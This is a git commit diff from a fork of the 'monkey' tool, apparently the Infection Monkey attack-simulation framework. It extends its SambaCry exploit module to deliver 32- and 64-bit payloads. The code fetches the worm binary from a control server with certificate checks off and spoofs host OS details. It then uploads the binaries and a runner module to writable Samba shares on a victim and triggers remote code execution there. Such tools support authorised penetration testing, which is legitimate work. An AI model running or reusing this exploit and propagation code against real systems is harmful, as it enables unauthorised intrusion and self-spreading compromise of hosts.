forked from p15670423/monkey
SambaCry now works for both 32,64bit
This commit is contained in:
parent
c612ea0361
commit
c8d7a2c4d3
|
@ -156,11 +156,80 @@ class ControlClient(object):
|
|||
|
||||
@staticmethod
|
||||
def download_monkey_exe(host):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_os(is_windows, is_32bit):
|
||||
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
|
||||
ControlClient.spoof_host_os_info(is_windows, is_32bit))
|
||||
if filename is None:
|
||||
return None
|
||||
return ControlClient.download_monkey_exe_by_filename(filename, size)
|
||||
|
||||
@staticmethod
|
||||
def spoof_host_os_info(is_windows, is_32bit):
|
||||
if is_windows:
|
||||
os = "windows"
|
||||
if is_32bit:
|
||||
arc = "x86"
|
||||
else:
|
||||
arc = "amd64"
|
||||
else:
|
||||
os = "linux"
|
||||
if is_32bit:
|
||||
arc = "i686"
|
||||
else:
|
||||
arc = "x86_64"
|
||||
|
||||
return \
|
||||
{
|
||||
"os":
|
||||
{
|
||||
"type": os,
|
||||
"machine": arc
|
||||
}
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def download_monkey_exe_by_filename(filename, size):
|
||||
if not WormConfiguration.current_server:
|
||||
return None
|
||||
return None
|
||||
try:
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/monkey/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host(host):
|
||||
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
|
||||
if not WormConfiguration.current_server:
|
||||
return None, None
|
||||
try:
|
||||
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
|
||||
data=json.dumps(host.as_dict()),
|
||||
data=json.dumps(host_dict),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False, proxies=ControlClient.proxies)
|
||||
|
||||
|
@ -168,30 +237,17 @@ class ControlClient(object):
|
|||
result_json = reply.json()
|
||||
filename = result_json.get('filename')
|
||||
if not filename:
|
||||
return None
|
||||
return None, None
|
||||
size = result_json.get('size')
|
||||
dest_file = monkeyfs.virtual_path(filename)
|
||||
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
else:
|
||||
download = requests.get("https://%s/api/monkey/download/%s" %
|
||||
(WormConfiguration.current_server, filename),
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
|
||||
with monkeyfs.open(dest_file, 'wb') as file_obj:
|
||||
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
|
||||
if chunk:
|
||||
file_obj.write(chunk)
|
||||
file_obj.flush()
|
||||
if size == monkeyfs.getsize(dest_file):
|
||||
return dest_file
|
||||
return filename, size
|
||||
else:
|
||||
return None, None
|
||||
|
||||
except Exception, exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
||||
|
||||
return None
|
||||
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def create_control_tunnel():
|
||||
|
|
|
@ -18,7 +18,7 @@ import monkeyfs
|
|||
from exploit import HostExploiter
|
||||
from model import DROPPER_ARG
|
||||
from network.smbfinger import SMB_SERVICE
|
||||
from tools import build_monkey_commandline
|
||||
from tools import build_monkey_commandline, get_target_monkey_by_os
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter):
|
|||
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||
"""
|
||||
# TODO: is this credit sufficient?
|
||||
_target_os_type = ['linux']
|
||||
|
||||
def __init__(self):
|
||||
self._config = __import__('config').WormConfiguration
|
||||
|
||||
|
||||
def exploit_host(self, host, depth=-1, src_path=None):
|
||||
if not self.is_vulnerable(host):
|
||||
return False
|
||||
|
@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
host.services[SMB_SERVICE]["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth)
|
||||
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
time.sleep(self._config.sambacry_trigger_timeout)
|
||||
|
@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth):
|
||||
def try_exploit_share(self, host, share, creds, depth):
|
||||
"""
|
||||
Tries exploiting share
|
||||
:param host: victim Host object
|
||||
|
@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
"""
|
||||
try:
|
||||
smb_client = self.connect_to_server(host.ip_addr, creds)
|
||||
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth)
|
||||
self.upload_module(smb_client, host, share, depth)
|
||||
self.trigger_module(smb_client, share)
|
||||
smb_client.close()
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
|
@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
return writable
|
||||
|
||||
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth):
|
||||
def upload_module(self, smb_client, host, share, depth):
|
||||
"""
|
||||
Uploads the module and all relevant files to server
|
||||
:param smb_client: smb client object
|
||||
|
@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter):
|
|||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
|
||||
|
||||
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file:
|
||||
# TODO: Fix or postpone 32/64 architecture problem.
|
||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||
|
||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
|
||||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
|
|
@ -442,6 +442,9 @@ def get_target_monkey(host):
|
|||
|
||||
return monkey_path
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from config import WormConfiguration, GUID
|
||||
|
|
Loading…
Reference in New Issue